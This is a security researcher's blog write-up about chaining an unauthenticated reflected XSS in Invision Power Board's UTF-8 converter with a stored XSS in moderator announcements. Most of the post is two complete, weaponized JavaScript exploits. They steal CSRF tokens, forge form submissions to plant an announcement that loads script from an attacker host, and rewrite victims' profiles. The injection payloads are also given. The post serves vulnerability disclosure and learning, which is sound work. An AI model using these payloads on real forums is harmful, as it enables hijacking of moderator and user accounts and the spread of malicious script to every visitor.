corben.io

corben.io


infosec write-ups and ramblings

Corben Leo
Author

Share


Tags


Reflected and Stored XSS in Invision Power Board

Invision Power Board is a very popular paid forum software. I decided to audit it and initially found a few stored XSS vulnerabilities in the admin panel, all had a low impact, so I didn't report them. I then came across the Announcements function in the Moderator Control Panel. Essentially this function allows moderators and admins to create a forum announcement for every user to see, and it also allowed any HTML in it!

If I had access to a moderator account or higher, I could easily put an XSS payload in an announcement and attack everyone. I obviously wasn't satisfied so I kept searching for another bug to chain it with.

I eventually came across the IPS UTF8 Converter, when I was using find & grep to find different variables in the source code. This tool, which comes with the default installation, is used to convert all the tables in the database to UTF-8. I opened up the path to the converter admin/convertutf8/index.php  and quickly got an error message. I was pretty bummed because I was initally looking into an RCE, but came up empty. But then I saw the controller= parameter. I checked the source of the page and saw that this parameter was not sanitizing any input at all and that I could insert HTML and javascript here, no authentication required! My first proof of concept was just a simple payload =>  %29};alert(document.domain);{ %27

Most times when people report an XSS or do a write-up, they just use an alert(1) and just give a hypothetical attack. I didn't want to do that with this one. I really wanted to weaponize this as much as possible (and in a fun way), so I coded a couple of scripts to do just that!

The first script I coded was: https://www.corben.io/pocs/xss.js

/*
 _
(_)_ ____      ___ __
| | '_ \ \ /\ / / '_ \
| | |_) \ V  V /| | | |
|_| .__/ \_/\_/ |_| |_|
 |_|  IPB Exploit
      by @hacker_
*/

// specifies the target, the title of the announcement, and the xss payload!
var target = 'http://<target>/index.php?/modcp/announcements/&action=create';
var title = 'URGENT';

// Don't use quotes! It'll break our form down below!
var payload = '<script src=//<ATTACKER>/lol.js></script>';

// steals the csrf token ;)
var cdl = get(target);
document.body.innerHTML = cdl;
var form = document.getElementsByTagName('input')[3];
var token = form.value;

// DON'T EDIT!!
// Gets the current date! Thanks stackoverflow
var today = new Date();
var dd = today.getDate();
var mm = today.getMonth()+1; //January is 0!
var yyyy = today.getFullYear();
if(dd<10){
    dd='0'+dd;
}
if(mm<10){
    mm='0'+mm;
}
var today = mm+'/'+dd+'/'+yyyy;

// build form with valid token and evil credentials
document.body.innerHTML
  += '<form id="corben" action="' + target + '" method="POST">'
	+ '<input type="hidden" name="_submitted" value="1">'
  + '<input type="hidden" name="csrfKey" value="' + token + '">'
	+ '<input type="hidden" name="MAX_FILE_SIZE" value="2097152">'
	+ '<input type="hidden" name="plupload" value="corben">'
	+ '<input type="hidden" name="announce_title" value="' + title + '">'
	+ '<input type="hidden" name="announce_start" value="' + today +'">'
	+ '<input type="hidden" name="announce_end_unlimited" value="0">'
	+ '<input type="hidden" name="announce_content" value="'+ payload +'">'
	+ '<input type="hidden" name="announce_content_upload" value="corben">'
	+ '<input type="hidden" name="announce_app_unlimited" value="*">'
	+ '<input type="hidden" name="announce_calendars">'
	+ '<input type="hidden" name="announce_calendars-zeroVal" value="on">'
	+ '<input type="hidden" name="announce_download_categories">'
	+ '<input type="hidden" name="announce_download_categories-zeroVal" value="on">'
	+ '<input type="hidden" name="announce_forums">'
	+ '<input type="hidden" name="announce_forums-zeroVal" value="on">'
  + '</form>';

// submits our csrf form!
document.forms["corben"].submit();

function get(url) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", url, false);
    xmlHttp.send(null);
    return xmlHttp.responseText;
}

It requires a moderator or admin to visit (not too hard to do). Once they visit it, it creates an announcement abusing the first bug I found, thus chaining this reflected XSS with the stored one. It does this by stealing the moderator's / admin's CSRF token, builds a CSRF form with that token & with the HTML we want to be in the announcement, and then submits the form, creating our malicious announcement :)


Payload: controller='};</script><script src=//<attacker>/xss.js></script>;{'

The second script I coded was: https://www.corben.io/pocs/lol.js

/*
www.corben.io/pocs/lol.js 
(_)_ ____      ___ __
| | '_ \ \ /\ / / '_ \
| | |_) \ V  V /| | | |
|_| .__/ \_/\_/ |_| |_|
 |_|  IPB Exploit
      by @hacker_

index.php?/profile/<user>/&tab=field_core_pfield_1
This will add "corben is my hero" to the user's about me.
*/
var target = 'http://localhost/ips_4141/index.php';
var payload = 'corben is my hero';

// Gets the Profile URL of the victim.
var cdl = get(target);
document.body.innerHTML = cdl;
var user_url = document.getElementsByTagName('a')[13];
var user_url1 = document.getElementsByTagName('a')[14];
var user_url2 = document.getElementsByTagName('a')[15];
var user_url3 = document.getElementsByTagName('a')[16];
var user_url4 = document.getElementsByTagName('a')[17];
var user_url5 = document.getElementsByTagName('a')[18];
var user_url6 = document.getElementsByTagName('a')[19];
var user_url7 = document.getElementsByTagName('a')[20];
var yay = user_url.href;
var yay1 = user_url1.href;
var yay2 = user_url2.href;
var yay3 = user_url3.href;
var yay4 = user_url4.href;
var yay5 = user_url5.href;
var yay6 = user_url6.href;
var yay7 = user_url7.href;
var mod_check0 = document.getElementsByTagName('a')[22];
var mod_check1 = document.getElementsByTagName('a')[22];
var mod_check2 = document.getElementsByTagName('a')[23];
var mod_check3 = document.getElementsByTagName('a')[24];
var mod_check4 = document.getElementsByTagName('a')[25];
var mod_check5 = document.getElementsByTagName('a')[26];
var mod_check6 = document.getElementsByTagName('a')[27];
var check0 = mod_check1.href;
var check1 = mod_check1.href;
var check2 = mod_check2.href;
var check3 = mod_check3.href;
var check4 = mod_check4.href;
var check5 = mod_check5.href;
var check6 = mod_check5.href;


/*
Mods / admins have a different amount of links before their profile URL, so this makes sure
we grab the right profile URL and not some random one!
*/
if (yay.includes("profile")){
  //user = normal user acc.
  var profile = yay;
} else if (yay1.includes("profile")){
  //user = normal user acc.
  var profile = yay1;
} else if (yay2.includes("profile")){
  //user = normal user acc.
  var profile = yay2;
} else if (yay3.includes("profile")){
  //user = normal user acc.
  var profile = yay3;
} else if (yay4.includes("profile")){
  //user = normal user acc.
  var profile = yay4;
} else if (yay5.includes("profile")){
  //user = normal user acc.
  var profile = yay5;
} else if (yay6.includes("profile")){
  //user = normal user acc.
  var profile = yay6;
} else if (yay7.includes("profile")){
  //user = normal user acc.
  var profile = yay7;
} else if (check0.includes("profile")){
  //user = mod or admin
  var profile = check0;
} else if (check2.includes("profile")){
  //user = mod or admin
  var profile = check2;
} else if (check3.includes("profile")){
  //user = mod or admin
  var profile = check3;
} else if (check4.includes("profile")){
  //user = mod or admin
  var profile = check4;
} else if (check5.includes("profile")){
  //user = mod or admin
  var profile = check5;
} else if (check6.includes("profile")){
  //user = mod or admin
  var profile = check6;
}
var final = profile + 'edit/';

// steals the csrf token

var csrf = get(final);
document.body.innerHTML = csrf;
var inp = document.getElementsByTagName('input')[3];
var token = inp.value;

// build form with valid token and evil credentials
document.body.innerHTML
+= '<form id="woot" action=' + final + ' method="POST">'
+ '<input type="hidden" name="form_submitted" value="1">'
+ '<input type="hidden" name="csrfKey" value="' + token + '">'
+ '<input type="hidden" name="MAX_FILE_SIZE" value="2097152">'
+ '<input type="hidden" name="plupload" value="corben">'
+ '<input type="hidden" name="bday[month]" value="0">'
+ '<input type="hidden" name="bday[day]" value="0">'
+ '<input type="hidden" name="bday[year]" value="0">'
+ '<input type="hidden" name="enable_status_updates" value="0">'
+ '<input type="hidden" name="enable_status_updates_checkbox" value="1">'
+ '<input type="hidden" name="core_pfield_1" value="' + payload + '">'
+ '<input type="hidden" name="core_pfield_1_upload" value="corben">'
+ '</form>';

// submits our csrf form!
document.forms["woot"].submit();

function get(url) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", url, false);
    xmlHttp.send(null);
    return xmlHttp.responseText;
}

This javascript steals the victim's CSRF token, builds a CSRF form & submits it, enables the user's status updates in order to change their "About Me" bio to "corben is my hero"



Payload:

controller='};</script><script src=//<attacker>/lol.js></script>;{'

Needless to say, I had a ton of fun weaponizing this reflected XSS and abusing the HTML option in the Announcements! It was definitely a great learning experience as well.

Read the full advisory here.

Corben Leo
Author

Corben Leo

View Comments